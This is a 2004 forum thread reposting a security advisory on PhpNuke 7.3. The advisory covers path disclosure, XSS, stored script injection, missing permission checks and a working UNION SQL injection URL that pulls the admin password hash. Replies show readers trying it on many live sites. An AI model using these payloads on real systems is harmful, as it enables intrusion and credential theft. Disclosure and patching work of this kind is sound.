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Advisory #33 - Multiple security holes in PhpNuke - part 1
PostPosted: Wed Jun 23, 2004 12:07 am Reply with quote
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Original can be viewed here:

http://www.waraxe.us/?modname=sa&id=033

Patching tutorial:

http://www.waraxe.us/forum/viewtopic.php?t=171





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{ [waraxe-2004-SA#033] }
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{ }
{ [ Multiple security holes in PhpNuke - part 1] }
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Author: Janek Vind "waraxe"
Date: 23. June 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=33


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org



Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

There are various security flaws - full path disclosure, xss, script injection and
critical sql injection. Most of the bugs, dicussed in current advisory, are located
in "Journal" module, and couple of full path disclosure bugs are in "Web_Links" and
"Statistics" modules.


A - Full Path Disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

A1 - full path disclosure in "/modules/Web_Links/voteinclude.php":

http://localhost/nuke73/modules/Web_Links/voteinclude.php

Warning: main(modules/Web_Links/l_config.php): failed to open stream: No such file or directory in
D:\apache_wwwroot\nuke73\modules\Web_Links\voteinclude.php on line 24

Fatal error: main(): Failed opening required 'modules/Web_Links/l_config.php' (include_path='.;c:\php4\pear') in
D:\apache_wwwroot\nuke73\modules\Web_Links\voteinclude.php on line 24

A2 - full path disclosure in "Statistics" module:

Let's see original code from "/modules/Statistics/index.php":

-----------------------------------------------------
switch($op) {

default:
Stats_Main();
break;

case "Stats":
Stats($total);
break;

case "YearlyStats":
YearlyStats($year);
break;

case "MonthlyStats":
MonthlyStats($year,$month);
break;

case "DailyStats":
DailyStats($year,$month,$date);
break;

case "convert_month":
convert_month($month);
break;

}
----------------------------------------------------
Anything seems OK? Guess what - convert_month() is legacy function, not
referenced anywhere else. So if we make GET request like this:

http://localhost/nuke73/modules.php?name=Statistics&op=convert_month

then will get error messages, revealing full path to script:

Fatal error: Call to undefined function: convert_month() in
D:\apache_wwwroot\nuke73\modules\Statistics\index.php on line 477


A3 - full path disclosure in "modules/Journal/add.php":

Reason is uninitialized array "filelist"

http://localhost/nuke73/modules.php?name=Journal&file=add&filelist=f00bar

Fatal error: [] operator not supported for strings in
D:\apache_wwwroot\nuke73\modules\Journal\add.php on line 102


A4 - full path disclosure in "modules/Journal/modify.php":

Reason is uninitialized array "filelist"

http://localhost/nuke73/modules.php?name=Journal&file=modify&filelist=f00bar



B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

XSS can lead to cookie theft and finally to website deface/overtake.

B1 - xss in "/modules/Journal/friend.php":

http://localhost/nuke73/modules.php?name=Journal&file=friend&jid=2&yun=[xss code here]
http://localhost/nuke73/modules.php?name=Journal&file=friend&jid=2&ye=[xss code here]


B2 - xss in "modules/Journal/add.php":

http://localhost/nuke73/modules.php?name=Journal&file=add&filelist[]=[xss code here]


B3 - xss in "modules/Journal/modify.php":

http://localhost/nuke73/modules.php?name=Journal&file=modify&filelist[]=[xss code here]


B4 - xss in "modules/Journal/delete.php":

http://localhost/nuke73/modules.php?name=Journal&file=delete&jid=[xss code here]&forwhat=waraxe


B5 - xss in "modules/Journal/comment.php":

http://localhost/nuke73/modules.php?name=Journal&file=comment&onwhat=[xss code here]


B6 - xss in "modules/Journal/commentsave.php":

http://localhost/nuke73/modules.php?name=Journal&file=commentsave&rid=[xss code here]


C - Script injection to Journal entry
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Journal entry's main text is sanitaized against script injection, but for some reason
title text is unsanitaized. So, potential attacker can write journal entry and place to
title input field something like:

"Look at cool pics! <body onload=alert(document.cookie);>"

And now, when anyone, including admins, will list specific journal entries:

http://localhost/nuke73/modules.php?name=Journal&file=search&bywhat=aid&forwhat=waraxe

or will read it:

http://localhost/nuke73/modules.php?name=Journal&file=display&jid=2

then injected javascript can do anything, attacker desires.


D - Missing authentication in some functions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

D1 - unauthorized comment deletion in "modules/Journal/commentkill.php":

Let's look at original code:

--------------------------------------------------
cookiedecode($user);
$username = $cookie[1];

if ($debug == "true") :
echo ("UserName:$username<br>SiteName: $sitename");
endif;

startjournal($sitename,$user);
$onwhat = intval($onwhat);
$sql = "DELETE FROM ".$prefix."_journal_comments WHERE cid = '$onwhat'";
$db->sql_query($sql);
--------------------------------------------------

Funny thing, but script's author seems to forget about permission check at all!
So if anyone will want to delete ANY comment from any journal for some reason,
then simple GET request will do the job:

http://localhost/nuke73/modules.php?name=Journal&file=commentkill&onwhat=1

Of course, comment's ID must be right number.
I can understand - Journal comments are absolutely uncritical issue and who gives a
s*it about them, but anyway - this is very bad coding style ...


D2 - unauthorized journal entry insertion in "modules/Journal/savenew.php":

Same problem - no permissions check at all. Any anonymous person, who is not
member of the nuke site, can add journal entries with ease:

http://localhost/nuke73/modules.php?name=Journal&file=savenew&title=f00bar

Those entries seems to be kinda invisible for search and listing, but this bug
can be useful for attacker as method to flood the database for example.

E - sql injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

E1 - critical sql injection in "modules/Journal/search.php":

First, let's look at original code:
--------------------------------------------------
cookiedecode($user);
$username = $cookie[1];

if (!isset($bywhat)):
$bywhat = "naddaanythang";
else :
$bywhat = stripslashes($bywhat);
endif;

if (!isset($forwhat)):
$forwhat = "naddaanythang";
else :
$forwhat = stripslashes($forwhat);
endif;
...
...
function search($username,$bywhat,$forwhat,$sitename,$bgcolor2,$bgcolor3,$user) {
global $prefix, $user_prefix, $db, $module_name, $exact;
echo "<br>";
OpenTable();
...
...
if ($bywhat == 'aid'):
if ($exact == '1') {
$sql = "SELECT j.jid, j.aid, j.title, j.pdate, j.ptime, j.mdate, j.mtime,
u.user_id, u.username FROM ".$prefix."_journal j, ".$user_prefix."_users u
WHERE u.username=j.aid and j.aid='$forwhat' order by j.jid DESC";
} else {
...
...
$result = $db->sql_query($sql);
--------------------------------------------------
Nice case of sql injection - first user submitted variables "bywhat" and
"forwhat" will be processed by "stripslashes()" and then WITHOUT ANY SANITATION
will be used in "SELECT FROM" sql query...
So it's time to test proof of concept sploit:

----------[real-life sploit started]--------------

http://localhost/nuke73/modules.php?name=Journal&file=search&bywhat=aid&exact=1
&forwhat=kala'/**/UNION/**/SELECT/**/0,0,pwd,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/
WHERE/**/radminsuper=1/**/LIMIT/**/1/*


-----------[real-life sploit ended]---------------

And as result, we will see admin password md5 hash in place, where normally journal
entry's title will show up.
As with any UNION exploit - mysql version 4.x is needed with UNION functionality
enabled.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Anyone interested in tutorial(s) for fixing those security bugs, is welcome to
forum on http://www.waraxe.us/forums.html

See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix, Dionysus, Stonecold and slimjim100!
Tervitused - Heintz ja Maku!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

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PostPosted: Wed Jun 23, 2004 5:50 am Reply with quote
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wonderful discoveries waraxe




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PostPosted: Wed Jun 23, 2004 11:00 am Reply with quote
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Crying or Very sad Journal Crying or Very sad
also testing Surprised

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PostPosted: Wed Jun 23, 2004 2:20 pm Reply with quote
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Didn't work on any (MANY!) of the sites I've tried Sad
Perhaps they have SQL 3... Sad
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Quote:
Didn't work on any (MANY!) of the sites I've tried
Perhaps they have SQL 3...


Try to provide an error with it, so we can discuss what went wrong, + why it went wrong and the code that you used.

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PostPosted: Thu Jun 24, 2004 3:32 am Reply with quote
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I think this works only if theres a journal posted by the admin - not sure though Rolling Eyes
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When i try to use SQL Injection in journal its bring me to main page..
Maybe is patched..

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PostPosted: Thu Jun 24, 2004 11:53 am Reply with quote
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It takes back to index.php when theres no journal by any of the admins....not sure....maybe waraxe can throw some light.....waiting for exploit part 2 Very Happy
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Hai hai..
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Haii...

how to fix Script injection to Journal entry?

thanks before
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looool thank you waraxe king of PhpNuke Wink
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PostPosted: Sat Jul 02, 2005 2:35 am Reply with quote
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see the advisories date , it discover at june 2004 , one years ago..
so i think many phpnuke site already patch

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yeah, i've found it Very Happy
thanks 4 ur attention

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